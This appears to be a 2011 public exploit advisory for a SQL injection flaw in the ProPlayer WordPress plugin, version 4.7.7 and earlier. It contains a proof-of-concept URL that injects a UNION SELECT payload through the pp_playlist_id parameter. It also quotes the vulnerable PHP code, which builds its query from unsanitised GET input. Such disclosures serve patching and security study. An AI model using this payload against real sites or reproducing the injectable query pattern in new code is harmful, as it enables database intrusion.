26 lines
No EOL
849 B
Text
26 lines
No EOL
849 B
Text
# Exploit Title: ProPlayer plugin <= 4.7.7 SQL Injection Vulnerability
|
|
# Date: 2011-08-05
|
|
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
|
|
# Software Link: http://downloads.wordpress.org/plugin/proplayer.4.7.7.zip
|
|
# Version: 4.7.7 (tested)
|
|
|
|
---
|
|
PoC
|
|
---
|
|
http://www.site.com/wp-content/plugins/proplayer/playlist-controller.php?pp_playlist_id=-1') UNION ALL SELECT NULL,NULL,@@version--%20
|
|
|
|
---------------
|
|
Vulnerable code
|
|
---------------
|
|
function getPlaylist($id = '') {
|
|
$query = mysql_query("SELECT * FROM ".$this->tablePrefix."proplayer_playlist WHERE (POST_ID='$id')");
|
|
$playlistRow = mysql_fetch_row($query);
|
|
|
|
return $this->withBackwardCompatibility($playlistRow[2]);
|
|
}
|
|
|
|
...
|
|
|
|
if (!empty($_GET["pp_playlist_id"])) {
|
|
header("Content-type: application/xml");
|
|
$xml = $playlistController->getPlaylist($_GET["pp_playlist_id"]); |